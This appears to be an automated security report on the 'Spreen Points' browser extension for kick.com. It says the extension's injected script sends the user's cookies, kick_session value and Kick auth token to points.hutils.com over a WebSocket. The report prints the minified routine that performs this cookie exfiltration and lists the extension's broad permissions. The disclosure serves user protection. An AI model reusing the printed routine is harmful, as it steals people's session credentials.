Is Spreen Points safe?
Spreen Points is high risk. When the injected page script opens the Points WebSocket, the auth routine builds a value from document.cookie plus kick_session and sends it to points.hutils.com. Cookies go even with a Kick auth token present; testing confirmed this.
Strong link to a flagged operator: 1 of the 1 other listing from the same operator is rated high or critical for malicious behavior. Flagged: Carre Points (critical).
Who publishes ith4x - 1 other listing from the same operator, 1 of them carrying a finding
h4x - 1 other listing from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 2k+ users between them. 1 of them carries a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Kick cookies are sent in the Points WebSocket auth
When the injected page script opens the Points WebSocket, the auth routine builds a value from document.cookie plus kick_session and sends it to points.hutils.com.
Cookies go even with a Kick auth token present; testing confirmed this.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You navigate to a Kick page while Spreen Points is installed.
The extension's content script injects its page script on Kick pages.
The page script sends your cookie string and kick_session value in its WebSocket auth message.
If a Kick auth token exists, the same auth message includes both the token and cookies.
WebSocket upgrade observed; the auth data is sent as a WebSocket message after the connection opens.
- Browser cookie stringnonce_crf=eyJhbGciOiJIUzI1NiJ9; theme=dark
This can include cookies available to the Kick page, tying the auth message to your browser session on that site.
- Kick session valuekick_session=zcoDuOWMHrwz9u7b4oKmxC8tUaXacjSJqeBiKvFPQiuEa9W1CIYLu
This adds a Kick session identifier to the same outbound auth message.
- Kick auth tokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYifQ.signature
When the token is present, the message can be linked to an authenticated Kick context instead of only a page visit.
Auth routine includes cookies on both token and no-token paths
function T() { L = !1, ie(); const y = localStorage.getItem("t_oken"), E = `${document.cookie}; kick_session=${v.value||"zcoDuOWMHrwz9u7b4oKmxC8tUaXacjSJqeBiKvFPQiuEa9W1CIYLu"}`; O.send("auth", y ? { token: y, cookies: E } : { cookies: E })}The page script requests metadata before connecting when no token exists
if (localStorage.getItem("t_oken")) return O.connect();n = setTimeout(() => { console.log("[ERROR] Timeout getting backend message"), Z.error("Error de cliente obteniendo credenciales, aguarde..."), O.connect()}, 5e3), window.postMessage({ from: "w", tracer: "getKickMetadata"});const V = await Hu();- points.hutils.com
Receives the Spreen Points WebSocket auth message containing cookies and, when present, the Kick auth token.
What it can do
Permissions this extension asks for, as declared in version 1.2.04. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 1.3.4, which we have not unpacked yet.
Read and change your data on kick.com
https://*.kick.com/*
Read and change your data on .kick.com
https://.kick.com/
Read and change your data on twitch.tv
https://*.twitch.tv/*
Read and change your data on points.hutils.com
https://points.hutils.com/*
See the address and title of every tab you have open
tabs
Read and change cookies, including the ones that keep you signed in
cookies
Store data in your browser
storage
Attach to pages with the browser's debugger, which can read and rewrite anything on them
debugger